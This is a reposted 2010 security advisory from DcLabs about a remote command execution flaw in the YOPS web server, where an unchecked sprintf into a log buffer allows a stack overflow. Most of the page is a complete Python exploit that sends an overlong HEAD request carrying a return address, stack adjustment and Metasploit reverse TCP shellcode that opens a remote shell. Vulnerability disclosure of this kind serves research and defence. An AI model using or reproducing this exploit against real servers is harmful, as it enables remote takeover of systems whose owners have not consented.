首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
YOPS Web Server Remote Command Execution
来源:http://www.dclabs.com.br 作者:Escobar 发布时间:2010-09-13  

[DCA-00015]

[Software]

 - YOPS (Your Open Personal [WEB] Server)

[Vendor Product Description]

 - YOPS (Your Own Personal [WEB] Server) is a small SEDA-like HTTP
server for Linux OS written in C. There are 7 stages (accept, parse,
launch, fetch, error, send and log), and pipes are used as interstage
channels.

[Bug Description]

 - In function http_parse_request_header the application fails to do a
boundary check for a malformed buffer received as a HTTP command
(HEAD/GET/POST), prior to use it as input for logger variable at
swebs_record_log function.

 --- http.c snippet ---
int http_parse_request_header(char *data, struct http_request_header *h)
{
       int r;
       int ver, rev;
       char *s, *tok, *l, *prm;
[...]
       r = sscanf(h->http, " HTTP/%d.%d ", &ver, &rev);
       if (r != 2)
               return -400;
[...]
}
 --- END snippet ---

 --- swebs.c snippet ---
int swebs_record_log(int log, JOB *job)
{
       int err;
       time_t now;
       char timestr[32];
       char logrec[MAX_REQUEST_LINE_LEN + 1];
[...]
       sprintf (
               logrec,
               "%s\t[%s]\t\"%s\"\t(%d+%d/%d)\t%d",
               job->client,
               timestr,
               job->hdr.request_line,
               job->response_hlen,
               job->response_blen_sent,
               job->response_blen,
               job->status
               );
[...]
}
 --- END snippet ---

[History]

 - Advisory sent to vendor on 08/26/2010

[Impact]

 - High (Remote Command Execution)

[Affected Version]

 - YOPS 2009-11-30

 - Prior versions may also be vulnerable

[Code]

#!/usr/bin/python
# Software:
# YOPS (Your Own Personal [WEB] Server) is a small SEDA-like HTTP server for Linux OS written in C.
# URL: http://sourceforge.net/projects/yops2009/
#
# Vulnerability: Rodrigo Escobar aka ipax @ DcLabs
# Exploit: Flavio do Carmo Junior aka waKKu @ DcLabs
# Contact: waKKu <AT> dclabs <DOT> com <DOT> br

HOST = "localhost"
PORT = 8888

import socket
import sys
import time

try:
BUFF_LEN = int(sys.argv[1])
except:
BUFF_LEN = 802
FIXUP_ADDR = "\x47\xce\x04\x08"

shellcode = (
# MetaSploit Reverse TCP Shell. Host: 127.0.0.1 - Port: 4444
"\x33\xc9\xb1\x13\xbe\xae\x88\x55\xcb\xda\xcd\xd9\x74\x24\xf4"
"\x5f\x31\x77\x0e\x03\x77\x0e\x83\x69\x8c\xb7\x3e\x44\x56\xc0"
"\x22\xf5\x2b\x7c\xcf\xfb\x22\x63\xbf\x9d\xf9\xe4\x9b\x3f\x6a"
"\x9a\x1b\xbf\x6b\x02\x74\xae\x37\xac\xd7\xba\xd7\x61\x88\xb3"
"\x39\xc2\x42\xa5\xe1\x08\x12\x70\x95\x4a\xa3\xbd\x54\xec\x8d"
"\xb8\x9f\xbd\x65\x15\x4f\x4d\x1e\x01\xa0\xd3\xb7\xbf\x37\xf0"
"\x18\x6c\xc1\x16\x28\x99\x1c\x58\x43"
)

buffer = "HEAD "
buffer += "A"*BUFF_LEN
buffer += FIXUP_ADDR*4
buffer += " HTTP/1.1"

stackadjust = (
"\xcb" # instruction alignment
"\xbc\x69\x69\x96\xb0" # Stack Adjustment
)

payload = buffer + stackadjust + shellcode + "\r\n\r\n"

print """
######################################
### DcLabs Security Research Group ###
### +Exploit+ ###
######################################
Software: YOPS 2009 - Web Server
---
Vulnerability by: ipax
Exploit by: waKKu
Greetings to: All DcLabs members
"""

print " [+] Using BUFF_LEN -> ", str(BUFF_LEN)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print " [+] Trying to establish connection..."
s.connect((HOST, PORT))
print " [+] Sending a dummy request to initialize data..."
s.send("HEAD DcLabs HTTP/1.1\r\n\r\n")
try:
s.recv(1024)
except:
pass
s.close()

time.sleep(3)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
print " [+] Sending our malicious payload..."
s.send(payload)
print " [+] Payload sent, good luck!"
s.close()

--
Rodrigo Escobar (ipax)
Pentester/Researcher Security Team @ DcLabs
http://www.dclabs.com.br


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Office Word 2007 spr
·Adobe Acrobat and Reader "push
·Webkit (Apple Safari < 4.1.2/5
·QK SMTP Server 3 RCPT TO: Comm
·Excel RTD Memory Corruption
·Prevx DLL preloading exploit
·Kingsoft Antivirus <= 2010.04.
·Wordpress 3.0.1 - Remote Denia
·AA SMTP SERVER v.1.1 - Crash P
·Dmx Ready v2 lite Database Dis
·RealPlayer FLV Parsing Integer
·BlogItDL Database Disclosure E
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved